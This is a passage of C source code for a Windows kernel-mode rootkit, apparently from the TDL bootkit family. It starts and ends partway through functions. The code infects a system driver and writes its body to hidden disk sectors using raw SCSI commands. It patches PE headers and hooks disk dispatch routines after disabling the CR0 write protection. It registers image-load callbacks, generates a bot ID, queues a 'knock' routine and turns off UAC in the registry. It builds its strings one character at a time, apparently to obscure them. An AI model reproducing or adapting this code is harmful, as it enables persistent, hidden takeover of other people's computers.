		_snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,
			wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);
		wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;
		RtlInitUnicodeString(&usName,wcPartition);
		InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
		if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
		{
			WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;

			mhiInfo.VolumeHandle=hPartition;
			mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;
			mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;
			ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);
			ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);
			ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));
			GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;
			dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;
			if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))
			{
				dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;
			}
			ZwClose(hPartition);
			GET_TDL_ADDRESSES->dwFSLastClaster=1;
			GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
			GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;
			memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));
			pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);
			pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
			pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);
			GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);
			dwOldCR0=__readcr0();
			__writecr0(dwOldCR0&~(1<<16));
			memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);
			__writecr0(dwOldCR0);
			memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));
#ifdef _WIN64
			RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#else
			RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
#endif
			dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
			pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));
			dwRsrcSize=TDL_START_SIZE;
			while(dwRsrcSize>0)
			{
				DWORD dwPartSize;

				dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);
				if(dwPartSize>dwRsrcSize)
				{
					dwPartSize=dwRsrcSize;
				}
				HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);
				dwRsrcSize-=dwPartSize;
				dwRsrcOffset+=dwPartSize;
				pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);
			}
			HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);
			HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);
			HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);
			HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);
			for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
			{
				svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);
				ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));
				GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
				GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;
			}
			ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);
			dwSize=0;
			ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);
			ZwClose(hSection);
			pinhHeaderCache=RtlImageNtHeader(pvFile);
			pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
			pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
			pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;
			pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;
			memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);
			ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
			//ZwClose(hDriver);
			TDLFSInit();
			_snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
			
			//////////////////////////////////////////////////////////////////////////
			/*
CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};
			CHAR cSection[]={'m','a','i','n',0};
			CHAR cKey[]={'r','e','b','o','o','t','s',0};
			
			DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,
				TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
			
			TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
				TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
			
			DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));

			

			TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
				TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
*/

			//////////////////////////////////////////////////////////////////////////
			GET_TDL_ADDRESSES->pvLoadLibraryExA=0;
			
			/*
WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};
			WCHAR wcFile[MAX_PATH];

			_snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,
				GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);

			CHAR cMsg[]={'i','s','a','f','t','e','\n',0};
			DbgPrint(cMsg);

			BOOL bRet=FALSE;

			HANDLE hFile=0;
			UNICODE_STRING usFile;
			OBJECT_ATTRIBUTES oaAttributes;
			IO_STATUS_BLOCK iosbStatus;

			RtlInitUnicodeString(&usFile,wcFile);
			InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);

			bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,
				&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));

			if(!bRet)
			{
				CHAR cMsg1[]={'c','r','e','a','t','\n',0};
				DbgPrint(cMsg1);

				ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,
					FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);
			}
			else
			{
				CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};
				DbgPrint(cMsg2);

				PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
			}

			if(hFile) ZwClose(hFile);
*/

			PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));

			pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));
			if(pwqiThread!=0)
			{
				ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);

				ExQueueWorkItem(pwqiThread,DelayedWorkQueue);
			}
			//KADInit();
			WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',
				'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',
				'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',
				'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};
			
			WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};
			DWORD dwUAC=0;

			RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));
		}
	}
	return STATUS_SUCCESS;
}

NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)
{
	WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
	WCHAR wcDriver[MAX_PATH];
	OBJECT_ATTRIBUTES oaAttributes;
	UNICODE_STRING usFile;
	IO_STATUS_BLOCK iosbStatus;
	HANDLE hDriver;

	_snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));
	RtlInitUnicodeString(&usFile,wcDriver);
	InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
	if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))
	{
		TDLInit(hDriver);
		
		if(pdoDevice!=0)
		{
			IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
		}
		return STATUS_SUCCESS;
	}
	return STATUS_OBJECT_NAME_NOT_FOUND;
}

__declspec(noinline) VOID TDLEnd()
{
	return;
}

NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
	PTDL_START ptsStart;
	DWORD dwDelta;
	PIMAGE_NT_HEADERS pinhHeader;
	PIMAGE_SECTION_HEADER pishHeader;
	DWORD dwSection;

	__asm
	{
		call delta
		delta:
		pop eax
		sub eax,offset delta
		mov [dwDelta],eax
	}
	ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
	if((DWORD_PTR)pusRegistry>1)
	{
		PVOID pvKernel;
		PLIST_ENTRY pleEntry;

		pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;
		while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)
		{
			pleEntry=pleEntry->Flink;
		}
		pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;
		((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));
		GET_TDL_ADDRESSES->pvKernel=pvKernel;
		GET_TDL_ADDRESSES->pdoDriver=pdoDriver;
		pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);
		pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
		for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
		{
			pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;
			if(*(PDWORD)pishHeader->Name=='TINI')
			{
				*pishHeader->Name=0;
			}
			pishHeader++;
		}
		((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));
		return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);
	}
	else
	{
		PDEVICE_OBJECT pdoDevice;

		GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
		pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
		while(pdoDevice!=0) 
		{
			BYTE bDeviceName[MAX_PATH];
			DWORD dwSize;

			if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))
			{
				OBJECT_ATTRIBUTES oaAttributes;
				IO_STATUS_BLOCK iosbStatus;
				LARGE_INTEGER liOffset;
				HANDLE hDisk;

				liOffset.QuadPart=ptsStart->ullDriverCodeOffset;
				InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
				if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))
					&&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))
					&&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))
				{
					((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));
					return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);
				}
			}
			pdoDevice=pdoDevice->NextDevice;
		}
	}
	return STATUS_SUCCESS;
}

NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)
{
	NTSTATUS ntsResult;
	READ_CAPACITY_DATA rcdData;

	ntsResult=STATUS_VOLUME_DIRTY;
	if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))
	{
		LARGE_INTEGER liOffset;

		liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);
		GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;
		ntsResult=STATUS_INSUFFICIENT_RESOURCES;
		GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
		if(GET_TDL_ADDRESSES->pvDriverCode!=0)
		{
			DWORD dwSectorOffset;
			OBJECT_ATTRIBUTES oaAttributes;
			IO_STATUS_BLOCK iosbStatus;
			UNICODE_STRING usDriver;

			RtlInitUnicodeString(&usDriver,pwcDriver);
			InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
			ntsResult=STATUS_FILE_LOCK_CONFLICT;
			if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))
			{
				FILE_STANDARD_INFORMATION fsiInfo;

				if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))
				{
					HANDLE hSection;

					if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))
					{
						SIZE_T stSize=0;
						PVOID pvFile=0;
						
						if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))
						{
							PIMAGE_NT_HEADERS pinhHeader;
							TDL_START tsStart;

							*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;
							pinhHeader=RtlImageNtHeader(pvFile);
							memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);
							memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);
							dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);
							ntsResult=STATUS_MEDIA_WRITE_PROTECTED;
							if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))
							{
								ntsResult=STATUS_SUCCESS;
								GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();
								tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));
								tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;
								tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));
								tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));
								tsStart.ullDriverCodeOffset=liOffset.QuadPart;
								tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));
								tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));
								tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));
								tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
								tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
								tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;
								memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart);
								memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart));
								pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0;
								pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0;
								pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
								pinhHeader->OptionalHeader.CheckSum=0;
								pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0);
							}
							ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
						}
						ZwClose(hSection);
					}
				}
			}
		}
	}
	return ntsResult;
}

DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
	//CHAR cDebug[]={'T','D','L','\n',0};
	//DbgPrint(cDebug);

	CHAR cBotID[0x10+1];
	WCHAR wcBotID[0x10+sizeof(L'\\')+1];
	WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
	OBJECT_ATTRIBUTES oaAttributes;
	HANDLE hEvent;
	NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION;
	UNICODE_STRING usName;
	GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID));
	
	_snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID);
	RtlInitUnicodeString(&usName,wcBotID);
	InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
	if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE)))
	{
		WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
		HANDLE hVolumeLink;

		ntsStatus=STATUS_LINK_FAILED;
		((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES));
		memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES));
		strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID));	
		RtlInitUnicodeString(&usName,wcVolume);
		InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
		if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes)))
		{
			WCHAR wcSystemRoot[MAX_PATH];

			usName.Buffer=wcSystemRoot;
			usName.MaximumLength=sizeof(wcSystemRoot);
			if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0)))
			{
				HANDLE hVolumeDirectory;
				WCHAR wcVolumeDevice[MAX_PATH];
				WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0};

				*wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0;
				_snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName);
				RtlInitUnicodeString(&usName,wcVolumeDevice);
				ntsStatus=STATUS_FILE_IS_A_DIRECTORY;
				if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes)))
				{
					PDIRECTORY_BASIC_INFORMATION pdbiInfo;

					pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE);
					if(pdbiInfo!=0)
					{
						DWORD dwSize;
						DWORD dwContext=0;

						ntsStatus=STATUS_BUFFER_TOO_SMALL;
						if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize)))
						{
							ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND;
